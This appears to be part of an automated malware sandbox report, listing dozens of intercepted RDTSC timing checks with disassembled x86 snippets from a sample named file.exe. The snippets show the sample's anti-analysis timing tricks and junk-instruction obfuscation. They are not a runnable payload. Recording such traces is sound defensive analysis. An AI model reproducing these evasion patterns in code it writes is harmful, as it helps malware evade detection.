Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4049B second address: B404A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FAA8CDD0FC6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40621 second address: B40626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40626 second address: B4062B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4062B second address: B40680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FAA8CB48460h 0x00000013 jnc 00007FAA8CB48456h 0x00000019 jmp 00007FAA8CB48469h 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push edi 0x00000022 jmp 00007FAA8CB48463h 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40A93 second address: B40A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B40A9C second address: B40AAC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAA8CB48462h 0x00000008 jnc 00007FAA8CB48456h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41979 second address: B41988 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007FAA8CDD0FC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41988 second address: B419B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB4845Ah 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FAA8CB48468h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52AE8 second address: B52B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FAA8CDD0FD1h 0x00000011 jmp 00007FAA8CDD0FD0h 0x00000016 pop ebx 0x00000017 popad 0x00000018 push ecx 0x00000019 push ebx 0x0000001a pushad 0x0000001b popad 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FAA8CDD0FD9h 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52B48 second address: B52B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55177 second address: B5517E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5517E second address: B55186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55186 second address: B5518C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B59ACB second address: B59AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 jmp 00007FAA8CB48468h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E005 second address: B5E00F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FAA8CDD0FC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E00F second address: B5E013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E013 second address: B5E019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B60DEE second address: B60E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 push esi 0x00000008 jmp 00007FAA8CB4845Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B624A9 second address: B624CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CDD0FD7h 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FAA8CDD0FC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B624CE second address: B624D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B624D2 second address: B624E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FAA8CDD0FC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D19 second address: B67D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Eh 0x00000007 jo 00007FAA8CB48456h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D37 second address: B67D69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FAA8CDD0FD5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c ja 00007FAA8CDD0FC6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007FAA8CDD0FCEh 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D69 second address: B67D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB48464h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67D81 second address: B67D98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FAA8CDD0FC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6AA7E second address: B6AA83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6AA83 second address: B6AA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A8B6 second address: B6A8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A8BA second address: B6A8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FAA8CDD0FC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A8C6 second address: B6A8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A8CA second address: B6A8F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FAA8CDD0FCCh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A8F8 second address: B6A91E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAA8CB48465h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e jbe 00007FAA8CB48456h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EFC2 second address: B6EFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EFC6 second address: B6EFE8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA8CB48456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA8CB48464h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6EFE8 second address: B6EFEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7309D second address: B730A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FAA8CB48456h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730A9 second address: B730AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730AD second address: B730B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B730B1 second address: B730B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7339B second address: B733B8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAA8CB48456h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FAA8CB4845Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B733B8 second address: B733C2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAA8CDD0FCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B738DD second address: B738E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B738E3 second address: B738E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77ECA second address: B77EE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FAA8CB48467h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77AB9 second address: B77ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B77ABD second address: B77AC5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B850FE second address: B85102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85102 second address: B8511B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48465h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8511B second address: B85142 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b jl 00007FAA8CDD0FC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9816E second address: B98194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FAA8CB48456h 0x00000009 jmp 00007FAA8CB4845Eh 0x0000000e jnp 00007FAA8CB48456h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 pushad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98194 second address: B981AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jne 00007FAA8CDD0FC8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FAA8CDD0FC6h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B981AD second address: B981BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FAA8CB4845Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97D07 second address: B97D2C instructions: 0x00000000 rdtsc 0x00000002 je 00007FAA8CDD0FC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007FAA8CDD0FD9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97E6E second address: B97E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD1EF second address: BAD1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD1F3 second address: BAD218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48469h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD218 second address: BAD21E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD21E second address: BAD267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jbe 00007FAA8CB48456h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jno 00007FAA8CB48456h 0x00000017 push esi 0x00000018 pop esi 0x00000019 jmp 00007FAA8CB48464h 0x0000001e popad 0x0000001f popad 0x00000020 push esi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FAA8CB48465h 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD3C4 second address: BAD3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD952 second address: BAD958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAD958 second address: BAD97F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FAA8CDD0FD6h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF727 second address: BAF740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAA8CB48465h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF740 second address: BAF744 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAF744 second address: BAF74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2326 second address: BB232A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB23D7 second address: BB23DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5018 second address: BB5033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAA8CDD0FD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5033 second address: BB503C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD1F1B second address: AD1F22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546038D second address: 5460393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460393 second address: 5460399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460399 second address: 54603F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FAA8CB48460h 0x0000000e push eax 0x0000000f jmp 00007FAA8CB4845Bh 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FAA8CB4845Bh 0x0000001e add ax, 7F6Eh 0x00000023 jmp 00007FAA8CB48469h 0x00000028 popfd 0x00000029 movzx ecx, di 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54603F1 second address: 5460407 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460407 second address: 546040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546040B second address: 5460428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460428 second address: 546042E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546042E second address: 5460432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460432 second address: 5460465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48463h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAA8CB48465h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54604AB second address: 54604C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FAA8CDD0FD2h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807CE second address: 54807EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 call 00007FAA8CB4845Dh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807EB second address: 54807EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807EF second address: 54807F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807F3 second address: 54807F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54807F9 second address: 5480829 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB48460h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA8CB48467h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480829 second address: 5480870 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CDD0FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FAA8CDD0FCEh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FAA8CDD0FD7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480870 second address: 5480876 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480876 second address: 548087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548087A second address: 54808B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA8CB4845Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FAA8CB4845Eh 0x00000015 sub eax, 66A822C8h 0x0000001b jmp 00007FAA8CB4845Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808B1 second address: 54808B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808B7 second address: 54808BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54808BB second address: 5480903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007FAA8CDD0FD7h 0x0000000e xchg eax, esi 0x0000000f jmp 00007FAA8CDD0FD6h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FAA8CDD0FCEh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480903 second address: 5480915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA8CB4845Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480915 second address: 5480919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A16 second address: 5480A3D instructions: 0x00000000 rdtsc 0x00000002 call 00007FAA8CB4845Bh 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov esi, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FAA8CB48462h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480A83 second address: 5480A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
